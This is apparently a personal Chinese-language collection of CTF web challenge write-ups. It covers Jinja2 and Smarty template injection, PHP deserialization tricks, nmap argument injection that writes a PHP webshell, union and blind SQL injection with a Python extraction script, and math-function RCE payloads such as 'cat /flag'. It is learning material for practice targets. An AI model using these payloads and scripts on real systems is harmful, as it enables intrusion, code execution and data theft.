或者用dir也行Windows系统命令dir使用详解_dir命令-CSDN博客
dir /
[MRCTF2020]PYWebsite
function enc(code){
hash = hex_md5(code);
return hash;
}
function validate(){
var code = document.getElementById("vcode").value;
//document 是 JavaScript 中表示整个 HTML 文档的对象,通过它可以访问和操作 HTML 文档中的各种元素。
//getElementById() 是 document 对象的一个方法,用于根据元素的 id 属性来查找并返回对应的元素。
//value 是 HTML 表单元素(如 <input>、<textarea>、<select> 等)的一个属性,用于获取或设置这些元素的值。所以,当对 document.getElementById("vcode") 返回的元素使用 .value 时,就可以得到该元素当前所包含的值。
if (code != ""){
if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
alert("您通过了验证!");
window.location = "./flag.php"
}else{
alert("你的授权码不正确!");
}
}else{
alert("请输入授权码");
}
}
发现输入框对应的id为vcode
找个网站解一下MD5免费在线解密破解_MD5在线加密-SOMD5
0cd4da0223c0b280829dc3ea458d655c
ARandomString
把购买者的IP保存了
X-Forwarded-For: 127.0.0.1
flag{bf368694-e93d-4ec1-ae3b-05c305f54eaa}
[WesternCTF2018]shrine
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
#从环境变量中获取 FLAG,并将其存储在 Flask 应用的配置中。os.environ.pop('FLAG') 会获取并移除环境变量中的 FLAG。
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
#这是一个动态的 URL 部分,其中 <...> 表示这是一个变量部分,path 是变量的类型,shrine 是变量的名称。path 类型表示这个变量可以匹配任意的路径,包括斜杠 /,也就是说它能捕获 /shrine/ 后面的任意字符串,并且会将捕获到的内容作为参数传递给对应的视图函数。
def shrine(shrine):
#将 some/path 作为参数传递给 shrine 变量。
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']#普通的{{config}}或者{{self}}无法使用
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
#join 是字符串对象的一个方法,用于将一个可迭代对象(如列表)中的元素用指定的字符串连接起来。这里使用空字符串 '' 作为连接符,将列表中的元素依次拼接成一个完整的字符串。
#列表推导式会遍历 blacklist 列表中的每个元素 c,并将其插入到 '{{% set {}=None%}}' 这个字符串模板中,生成一个新的字符串列表。
#{{% ... %}} 是 Jinja2 模板的标签语法,用于在模板中执行 Python 代码。
#set 是 Jinja2 模板中的一个语句,用于定义变量。
#{} 是 Python 字符串格式化中的占位符,format(c) 会将 c 的值填充到这个占位符中。
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
一文了解SSTI和所有常见payload 以flask模板为例-腾讯云开发者社区-腾讯云
过滤了小括号
用python的内置函数
config.items
一个类字典的对象 , 包含了所有应用程序的配置值
{{url_for.__globals__}}
#搜索app,发现current_app
#在Flask中,current_app是代理对象,指向当前的app实例。
{{url_for.__globals__['current_app'].config}}
#有FLAG
{{url_for.__globals__['current_app'].config['FLAG']}}
{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
但safe_jinja函数中的处理是,将config设置为None。因为在safe_jinja函数中,会将黑名单中的每个词(config和self)用这样的语句设置为None。所以在模板渲染的时候,config变量会被设置为None,而无法访问原来的config对象。
但current_app是另一个变量,可能没有被覆盖。比如,假设在模板中,我们可以访问到current_app,然后通过current_app.config来获取配置。这时候,虽然config变量被设置为None,但current_app的config属性可能依然存在。
[安洵杯 2019]easy_serialize_php
< ?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';#把数组元素组合为字符串
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);#销毁会话
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);#将 POST 请求中的所有参数提取到当前作用域中,使它们可以直接作为变量使用。
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));#存储在会话中
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
phpinfo
d0g3_f1ag.php
extract会把POST的参数变成当前作用域的变量,如果POST中有同名的变量,可能会覆盖已有的变量。例如,如果POST中有_SESSION参数,可能会被覆盖
但是后面的 $_SESSION[‘img’]覆盖不了
PHP反序列化字符逃逸详解_php filter字符串溢出-CSDN博客
检测到’flag’等关键字就把其替换为空,那么就利用这一点,我们故意输入敏感字符,替换为空之后来实现字符逃逸。
img随便传,会被替换成base64(‘guest_img.png’)即’ZDBnM19mMWFnLnBocA==’
< ?php
$sessionData = [
'q' => 'flag',
'img' => 'ZDBnM19mMWFnLnBocA==',
'xaxa' => ';s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";i:0;i:1;'
];
echo serialize($sessionData);
a:3:{s:1:"q";s:4:"flag";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:4:"xaxa";s:47:";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";i:0;i:1;";}
要覆盖";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:4:"xaxa";s:47:
总共56个字。
故用flagflagflagflagflagflagflagflagflagflagflagflagflagflag
代
先d0g3_f1ag.php
a:3:{s:1:"q";s:56:"flagflagflagflagflagflagflagflagflagflagflagflagflagflag";s:4:"xaxa";s:47:";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";i:0;i:1;";s:3:"img";i:"ZDBnM19mMWFnLnBocA==";}
i:7;i:8
, i代表数字,7代表键,就是7,值也是数字,值为8,索引为7,值为8,以满足最前面a:3:
中的3
_SESSION[q]=flagflagflagflagflagflagflagflagflagflagflagflagflagflag&_SESSION[img]=7&_SESSION[xaxa]=;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";i:7;i:8;}
在/d0g3_fllllllag
里
_SESSION[q]=flagflagflagflagflagflagflagflagflagflagflagflagflagflag&_SESSION[img]=7&_SESSION[xaxa]=;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";i:7;i:8;}
flag{656ea1d3-a8aa-4a62-9b02-0a58d00e7421}
话说有些wp还有时效性什么的(
[强网杯 2019]高明的黑客
cat '/home/kali/桌面/1/www.tar.gz'
爆出来一堆php,真无敌了
都是这种形式的(
找一个存在的GET/POST传参叭
python多线程-Semaphore(信号对象) - 简书
[强网杯 2019]高明的黑客(考察代码编写能力)-CSDN博客
import os # os:用于操作文件和目录路径。
import requests # requests:发送HTTP请求。
import re # re:正则表达式匹配,用于提取参数。
import threading # threading:实现多线程并发。
import time # time:获取和处理时间信息。
print('开始时间: ' + time.asctime(time.localtime(time.time()))) # 记录脚本启动时间。
s1 = threading.Semaphore(100) # 这儿设置最大的线程数.控制最大并发线程数为100,防止资源耗尽。
"""信号量是一种用于控制并发访问资源的同步原语。它本质上是一个计数器,在多线程编程里,信号量可以限制同时访问某个资源或者执行某段代码的线程数量。当一个线程想要访问受信号量保护的资源时,它需要先获取信号量;当线程使用完资源后,需要释放信号量,这样其他线程才有机会获取信号量并访问资源。"""
filePath = r"D:\phpstudy_pro\WWW\src"
os.chdir(filePath) # 改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5 # 设置重连次数,防止线程数过高,断开连接.增强网络请求的健壮性。
files = os.listdir(filePath) # 获取目录下所有文件
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False。禁用Keep-Alive以避免连接池问题。
def get_content(file):
s1.acquire() # 获取信号量,控制并发
"""信号量计数器大于 0:如果当前信号量的计数器大于 0,说明还有可用的资源,线程会成功获取信号量,同时信号量的计数器会减 1。例如,若初始计数器值为 100,一个线程成功获取信号量后,计数器变为 99。
信号量计数器等于 0:如果当前信号量的计数器为 0,意味着已经没有可用的资源了,此时线程会被阻塞,进入等待状态,直到有其他线程释放信号量,使得计数器的值大于 0,该线程才有机会获取信号量并继续执行。"""
print('trying ' + file + ' ' + time.asctime(time.localtime(time.time()))) # 打印日志:输出当前正在处理的文件和时间。
with open(file, encoding='utf-8') as f: # 打开php文件,提取所有的$_GET和$_POST的参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read())) # 正则匹配:从PHP代码中提取所有$_GET['param']和$_POST[
# 'param']的参数名。list() 函数可以确保结果是一个列表类型
"""re.findall() 是 re 模块中的一个函数,用于在字符串中查找所有匹配指定正则表达式的子字符串,并将这些匹配结果以列表的形式返回。它的基本语法是 re.findall(pattern,
string),其中 pattern 是正则表达式,string 是要搜索的字符串"""
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {} # 所有的$_POST
params = {} # 所有的$_GET
for m in gets:
params[m] = "echo 'hahahahahah';" # 为每个GET/POST参数赋值echo 'hahahahahah';,用于检测代码执行漏洞。如果参数值被直接执行,响应中会包含xxxxxx。
for n in posts:
data[n] = "echo 'hahahahahah';"
url = 'http://127.0.0.1/src/' + file
req = session.post(url, data=data, params=params) # 一次性请求所有的GET和POST
req.close() # 关闭请求 释放内存
req.encoding = 'utf-8'
content = req.text
# print(content)
if "hahahahahah" in content: # 如果发现有可以利用的参数,继续筛选出具体的参数
flag = 0
for a in gets: # 如果在GET参数中找到,flag=1,否则检查POST。
req = session.get(
url + '?%s=' % a + "echo 'hahahahahah';") # %s 是一个占位符,会被变量 a 的值替换。http://127.0.0.1/src/your_file.php
# ?param1=echo 'hahahahahah';
content = req.text
req.close() # 关闭请求 释放内存
if "hahahahahah" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b: "echo 'hahahahahah';"}) # {'param': "echo 'hahahahahah';"}
content = req.text
req.close() # 关闭请求 释放内存
if "hahahahahah" in content:
break
if flag == 1: # flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
param = a
else:
param = b
print('找到了利用文件: ' + file + " and 找到了利用的参数:%s" % param)
print('结束时间: ' + time.asctime(time.localtime(time.time())))
s1.release()
for i in files: # 加入多线程
t = threading.Thread(target=get_content, args=(i,))
"""threading.Thread() 是 threading 模块中用于创建线程对象的类。
target=get_content:指定线程要执行的目标函数,即 get_content 函数。当线程启动后,会调用这个函数来完成具体的任务。
args=(i,):传递给目标函数的参数。args 是一个元组,这里将当前文件名称 i 作为参数传递给 get_content 函数。注意,即使只有一个参数,也需要写成元组的形式,后面的逗号不能省略。"""
t.start() # 调用线程对象 t 的 start() 方法,该方法会启动线程并开始执行 target 指定的函数(即 get_content
# 函数)。线程会在后台独立运行,不会阻塞主线程的执行,从而实现多线程并发处理多个文件的目的。
/xk0SzyKwfzw.php?Efa5BVG=cat /flag
flag{ed497ec8-a905-4882-9f8b-bb22ffd3c9e7}
还有就是要注意echo的线索要小小众些,不然会出现一堆可行的(
[网鼎杯 2020 朱雀组]Nmap
Warning: simplexml_load_file(): I/O warning : failed to load external entity "xml/34234" in /var/www/html/result.php on line 23
Wrong file name
Nmap 操作手册 - 完整版 - HOsystem - 博客园
【渗透测试小白系列】之目录扫描、Nmap的使用及使用Metasploit通过MS17-010获取系统权限 - Woori - 博客园
来对比下:
很明显前两更像,TCP+balabala…
故为nmap+IP形式
nmap -iL filename 扫描目标文件
- -oN / -oX / -oS / -oG :正常输出扫描,XML,s | <rIpt kIddi3 和Grepable格式,分别为给定的文件名;
- -oA :一次输出三种主要格式;
- nmap -oG
[其他扫描参数] <目标主机或网络>
一种是酱,参考[BUUCTF 2018]Online Tool[浅谈escapeshellarg逃逸与参数注入 Mi1k7ea ]http://www.mi1k7ea.com/2019/07/04/浅谈escapeshellarg与参数注入/#escapeshellarg
127.0.0.1' -iL /flag -oN xa
访问xa’
但感觉不靠谱,我又不造源代码里有escapeshllarg什么的(
原来nmap可能和escapeshellarg()与escapeshellcmd()配合使用,那没事了
哇哦!!!!那以后nmap就靠这方面了。这两道题都是一个类型。
nmap和escapeshellarg()函数、escapeshellcmd()函数的RCE使用 - Eddie_Murphy - 博客园
遂把那题的payload搬过来' 《?php @eval($_POST["pass"]);?> -oG pass.php '
结果说我是Hacker(bushi
试了一会儿,好像是把php给ban了
[极客大挑战 2019]Upload——php短标签-CSDN博客找见了喵~
php短标签
#前提是开启配置参数short_open_tags=on
#不需要修改参数开关,但是只能在7.0以下可用。
等价于 #不需要开启参数设置
<% echo ‘123’;%> #开启配置参数asp_tags=on,并且只能在7.0以下版本使用
遂用短标签=>' 《? @eval($_POST["pass"]);?> -oG pass.phtml '
okk~
[NPUCTF2020]ReadlezPHP
蹦出来个大二维码吓死我了啊啊啊啊啊啊
而且报的时间是错的喵
<p>百万前端的NPU报时中心为您报时:<a href="./time.php?source"></a></p>
<SCRIPT language=javascript>
function runClock() {
theTime = window.setTimeout("runClock()", 100);
var today = new Date();
var display= today.toLocaleString();
window.status=""+display+"大黑阔HELEN";
}runClock();
< ?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
喵的肿么越看越眼熟什么的。。。
< ?php
class HelloPhp
{
public $a="ls";
public $b='system';
}
$c = new HelloPhp;
echo serialize($c);
尝试,但没反应。。。
换了个md5可,看来是把system给ban了。
卒
在 PHP 里,
assert()
是一个用于断言的函数。它的作用是判断某个表达式是否为真,如果表达式为假,就会触发一个断言失败的错误。assert()
函数一般接收一个表达式作为参数,当这个表达式的计算结果为false
时,会根据配置来决定是否抛出异常或者发出警告。而
phpinfo()
函数的功能是输出 PHP 的配置信息,包含 PHP 版本、编译选项、加载的扩展、环境变量等诸多详细内容。该函数会将这些信息以 HTML 表格的形式输出到页面上,并且返回值为true
。代码执行情况
当你执行
assert(phpinfo())
时,会有以下情况发生:
phpinfo()
函数先执行:它会输出 PHP 的详细配置信息到页面上。assert()
对phpinfo()
的返回值进行判断:因为phpinfo()
总是返回true
,所以assert()
里的条件始终为真,断言不会失败,也就不会触发断言失败的错误。
无敌了
O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
[ASIS 2019]Unicorn shop
<meta charset="utf-8"><!--Ah,really important,seriously. -->
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Unicorn shop</title>
<!-- Don't be frustrated(沮丧的) by the same view,we've changed the challenge content.-->
<!-- Bootstrap core CSS -->
<link href="/static/css/bootstrap.min.css?v=ec3bb52a00e176a7181d454dffaea219" rel="stylesheet">
<!-- Custom styles for this template -->
<link href="/static/css/jumbotron-narrow.css?v=166844ff66a82256d62737c8a6fc14bf" rel="stylesheet">
</head>
<!--We still have some surprise for admin.password-->
<body>
<div class="container">
</div> <!-- /container -->
试了试ID不太可控,price到有些说法。。。
看见了Unicode标签,遂试。找个比1337大的Unicode单个数字就可。
找ten thousand+number即可。𐄫፼等
嗯哼,先酱
[CISCN2019 华东南赛区]Web11
Build With Smarty !
文章 - Smarty模板注入&CVE-2017-1000480 - 先知社区
嗯哼
{if system('cat /flag')}{/if}
ez
[SWPU2019]Web1
admin已有,注册个号广告可xss。猜测需登admin。
看见猜测和MysteryMessageBoard一样。。。
然后无果
终于!看来是sql(
总之就是进来又出去数据库。。。
-1 ' order by 1#
这题还有个无敌的地方,它广告有上限(还不能一次知道那些被ban了
or(=>^’异或),注释(=>’单引号闭合),空格都ban了(so,information_schem哭辽)
origin_text = ""
print(origin_text.replace(' ', '/**/'))
聊一聊bypass information_schema-安全KER - 安全资讯平台
这道题目在buuoj上的复现是没办法用sys.schema来bypass information_schema的,原因是buuoj没有sys.schema_table_statistics_with_buffer这个数据库,但是比赛中是可以利用的。
join、using
join用于合并两个表,using表示使用什么字段进行连接,用using指定了连接字段则查询结果只返回连接字段
select * from user as b join user using(id) as c
#这里使用id进行连接,只会返回id列
思路:利用join合并同一表,报错重复的列名,再利用using爆出所有的列名,union select需要前后查询的字段数一样,不然会报
这里将 user 表与自身进行连接(join user),并使用 id 字段进行连接(using(id))。由于使用了 USING,结果集中只会包含 id 列(因为 id 是连接字段)。
# 得到 id 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b)as c;
这条语句尝试将 user 表中 id 等于 1 的记录(select * from user where id='1')与 user 表自身连接的结果(select * from (select * from user as a join user as b)as c)进行 UNION ALL 操作。
但是,由于 user 表自身连接时没有指定连接条件,会导致列名重复(因为两个 user 表都有相同的列名),从而报错。
# 得到 username 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b using(id))as c;
这里在连接时使用了 using(id),但 UNION ALL 要求前后两个查询的字段数必须相同。
前面的查询 select * from user where id='1' 会返回 user 表的所有列,而后面的查询 select * from (select * from user as a join user as b using(id))as c 由于 using(id) 的限制,只返回 id 列,字段数不一致,所以会报错。
# 得到 password 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b using(id,username))as c;
同样,前面的查询返回所有列,后面的查询由于 using(id,username) 只返回 id 和 username 列,字段数不一致,导致报错。
# 得到 user 表中的数据
select * from user where id='1' union all select * from (select * from user as a join user as b using(id,username,password))as c;
这里通过 using(id,username,password) 使得后面的查询返回的列与前面的查询 select * from user where id='1' 返回的列数和列名一致(假设 user 表只有 id、username 和 password 列),从而可以成功执行 UNION ALL 操作,得到 user 表中的数据。
JOIN 用于合并两个表的数据。在 SQL 中,有多种类型的 JOIN,如 INNER JOIN、LEFT JOIN 等。
USING 是 JOIN 的一种子句,它用于指定连接两个表所依据的列。当使用 USING 指定连接字段时,查询结果中只会包含该连接字段一次(因为在两个表中该字段是相同的),而不是像普通 JOIN 那样可能出现重复的列名。
然后发现join被ban了(
呃(吐血
Q又试了试其他的方法都不行(我认为是它们最后有;的原因?),遂试子查询
select `2` from (select 1,2,3,4 union select * from users)a
select a.2 from (select 1,2,3,4 union select * from users)a
#记得第一个2加反引号,或者使用a.2
如果反引号``被过滤,可以使用为字段起别名的方式.
select `2` from (select 1,2,3,4 union select * from users) as xxx
select * from user where id='-1' union select 1,2,group_concat(x.c) from (select (select 1)a,(select 2)b,(select 3)c union select * from users)x;
第一个查询
select * from user where id='-1'
该查询的功能是从 user 表中选取 id 等于 -1 的所有行。
一般而言,id 属于主键或者唯一键,通常不会存在 id 为 -1 的行,所以这个查询可能不会返回任何结果。不过,它的目的是要保证和第二个查询的列数一致。
第二个查询
select 1, 2, group_concat(x.c) from (select (select 1)a, (select 2)b, (select 3)c union select * from users)x
这个查询较为复杂,下面逐步拆解:
子查询
(select (select 1)a, (select 2)b, (select 3)c union select * from users)x
子查询的功能是把两个查询结果合并。
第一个查询 select (select 1)a, (select 2)b, (select 3)c 会生成一行数据,这一行有三个列,分别命名为 a、b、c,它们的值依次为 1、2、3。
第二个查询 select * from users 会从 users 表中选取所有行。
这两个查询的结果通过 UNION 合并成一个临时结果集,并且给这个临时结果集起了别名 x。
外层查询
select 1, 2, group_concat(x.c) from (...)x
外层查询从临时结果集 x 里选取数据。
前两列的值分别为常量 1 和 2。
第三列运用了 GROUP_CONCAT 函数,该函数的作用是把 x 表中 c 列的所有值连接成一个字符串,默认情况下,这些值会用逗号分隔。
但首先不知道列数,order还被ban了。。。不知道只能慢慢select了
-1'union select 1,2,3'
-1'union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
嗯,总之就当我发了22次广告吧(
搞2!
-1'union select 1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
#web1
-1'select `2` from (select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 union select * from web1)'
but
但InnoDb引擎可
-1'select `2` from (select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 union select * from web1)'
select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()
得
-1'union select 1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from mysql.innodb_table_stats where database_name="web1"'
-1'union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'
#懒得转义我这里手动加的双引号hhh
#ads,users
select * from user where id='-1' union select 1,2,group_concat(x.c) from (select (select 1)a,(select 2)b,(select 3)c union select * from users)x;
-1'select `2` from (select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 union select * from web1)'
得
-1'union select 1,database(),(select group_concat(x.c) from (select (select 1)a,(select 2)b,(select 3)c union select * from ads)x),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
先试了ads:
-1'union/**/select/**/1,database(),(select/**/group_concat(x.e)/**/from/**/(select/**/(select/**/1)a,(select/**/2)b,(select/**/3)c,(select/**/4)d,(select/**/5)e/**/union/**/select/**/*/**/from/**/users)x),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
仍是#The used SELECT statements have a different number of columns
我试到f结果发现溢出了。。。于是试user
users表的列数正好是3
-1'union select 1,database(),(select group_concat(x.c) from (select (select 1)a,(select 2)b,(select 3)c union select * from users)x),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
#flag{ecbdd94b-681f-4293-9835-9cb932a63393}
最后放下payoad: -1'union/**/select/**/1,database(),(select/**/group_concat(x.c)/**/from/**/(select/**/(select/**/1)a,(select/**/2)b,(select/**/3)c/**/union/**/select/**/*/**/from/**/users)x),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
哦耶耶~
[BSidesCF 2019]Kookie
啊哈?
这也太💦了
[极客大挑战 2019]FinalSQL
盲注+python,也是拉满buff了
2:一拳一个嘤嘤怪
3:满屏红字吓死人了(
5:谢谢涨词了navienavienavie天真的天真的天真的
这是过滤了啥,咋有的可有的不可?
buer,这username也太哈人了吧,说这是白名单也不为过(
然后想到让找第六个,那说明好像是要搞id(bushi)咳咳
Clever! But not this table.翻译
=>真聪明!但不是这个表。
fuzz了一下,空格和注释符还有一些关键词被ban了,发现’or’=’or’或TRUE会返回id=1时的页面:
SQL注入学习总结(八):其他SQL注入的异或注入 - 哈哈哈1014 - 博客园
判断不了列数,我就直接搞了
?id=0^1-->ture
?id=0^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),1,1))>0)-->error
?id=0^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),1,1))=105)-->ture
下面为脚本内容:
(select(group_concat(schema_name))from(information_schema.schemata)
#information_schema,performance_schema,test,mysql,geek
(select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')
#F1naI1y,Flaaaaag
(select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')
#id,fl4gawsl
(select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')
#id,username,password
(select(group_concat(fl4gawsl))from(Flaaaaag)
#NO! Not this! Click others~~~,yingyingying~ Not this as well~~,Ohhh You find the flag read on!<br/>Ohhh You #find the flag read on!<br/>Ohhh You find the flag(然后是循环)
(select(group_concat(username))from(F1naI1y)
#mygod,welcome,site,site,site,site(碎碎念:那很site了),Syc,finally,flag
(select(group_concat(password))from(F1naI1y)
#cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http:#//www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{7cf79887-48e3-42a4-ae01-17a0cb33c188}
import requests
from urllib.parse import quote_plus
# 配置目标信息
target_url = "http://75388fa0-b0c7-4fc1-b201-295652d9481b.node5.buuoj.cn:81/search.php" # 目标URL
param_name = "id" # 存在注入的参数名
true_keyword = "NO! Not this! Click others~~~" # 条件为真时的页面特征
max_length = 500 # 最大猜测长度
def check_condition(payload):
"""
发送请求并检查条件是否成立
:param payload: SQL条件语句(不带闭合)
:return: 布尔值,表示条件是否成立
"""
# 构造完整Payload并编码
full_payload = f"0^{payload} "
#使用 f - 字符串可以直接在字符串中插入变量的值,相比于传统的字符串格式化方法(如 % 格式化或 str.format() 方法)
encoded_payload = quote_plus(full_payload) # URL 编码
try:
response = requests.get(
f"{target_url}?{param_name}={encoded_payload}",
timeout=5
)
return true_keyword in response.text
except Exception as e:
print(f"[!] 请求失败: {str(e)}")
return False
def extract_data(query):
"""
使用二分法逐字符提取数据
:param query: SQL查询语句
:return: 提取的字符串
"""
result = ""
for pos in range(1, max_length):
low, high = 32, 126
while low <= high:
mid = (low + high) // 2
condition = f"((ascii(substr({query}),{pos},1)))>{mid})"
if check_condition(condition):
low = mid + 1
else:
high = mid - 1
result += chr(high+1)
#当 check_condition 返回 False 时,high 会被更新为 mid - 1。所以,目标字符的 ASCII 码实际上就是 high + 1。
print(f"[*] 当前进度: {result}")
return result
if __name__ == "__main__":
#print("[+] 正在提取数据库名称...")
#db_name = extract_data("(select(group_concat(schema_name))from(information_schema.schemata)")
#print(f"[+] 数据库名称: {db_name}")
#information_schema,performance_schema,test,mysql,geek
#table_name = extract_data("(select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')")
#print(f"[+] 表名称: {table_name}")
#F1naI1y,Flaaaaag
#column_name = extract_data("(select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')")
#print(f"[+] 列名称: {column_name}")
#id,fl4gawsl
flag = extract_data("(select(group_concat(id))from(F1naI1y)")
print(f"[+] 内容: {flag}")
#cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{7cf79887-48e3-42a4-ae01-17a0cb33c188}
# -*- coding: UTF-8 -*- #
"""
@filename:final SQL.py
@auther:qing
@time:2025-3-31
"""
值得注意的是,我在编写脚本时,在设置low, high = 32, 126
时一开始范围是从0到200(想着无所谓),但这样爆出的结果会有乱码,因此还是设置在正常范围内吧。
[BSidesCF 2019]Futurella
这题真无敌了吧,我打算复制去Bing一下,结果直接自动翻译了。
Resistance is futile! Bring back Futurella or we'll invade! Also, the flag is flag{94accd60-8f06-4be2-8852-5bda9d9a0283}
可能就是style.css在作祟
[CISCN 2019 初赛]Love Math
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
base_convert(37907361743, 10, 36) base_convert 是 PHP 中的一个函数,其作用是将一个数字从一种进制转换为另一种进制。这里 base_convert(37907361743, 10, 36) 表示把十进制数 37907361743 转换为 36 进制的数,最终得到 "hex2bin"。在 36 进制里,使用的字符集是 0 - 9 和 a - z。 2. dechex(1598506324) dechex 函数的功能是把十进制数转换为十六进制数。dechex(1598506324) 会将十进制数 1598506324 转换为十六进制,结果是 "5f474554"。 3. $pi = hex2bin("5f474554") hex2bin 函数的作用是把十六进制字符串转换为二进制字符串。hex2bin("5f474554") 会将十六进制字符串 "5f474554" 转换为对应的二进制字符串,实际上得到的是 "_GET",然后将其赋值给变量 $pi。 4. ($$pi){pi}(($$pi){abs}) 在 PHP 中,$$ 是可变变量的语法。可变变量允许你动态地设置和使用变量名。因为 $pi 的值是 "_GET",所以 $$pi 就等同于 $_GET。 {} 在某些情况下可以替代 [] 来访问数组元素。所以 ($$pi){pi} 就相当于 $_GET['pi'],($$pi){abs} 相当于 $_GET['abs']。 整体 ($$pi){pi}(($$pi){abs}) 实际上就是执行 $_GET['pi']($_GET['abs']),也就是调用通过 GET 请求传递进来的 pi 参数所代表的函数,并且将 GET 请求传递进来的 abs 参数作为该函数的参数。
hex2bin("5f474554")
=>base_convert(37907361743, 10, 36)(dechex(1598506324))=$pi
system("ls /")
=>($$pi){tan}(($$pi){sin})
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){sin})&pi=system&sin=ls /
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){sin})&pi=system&sin=cat /flag
flag{d0162c99-47e5-4483-9828-1feeae7b7fc6}
关于ctf中flask算pin总结_ctf:flask-CSDN博客
{{7*7}}->no
{{7+7}}->14
试了试,popen,*不能
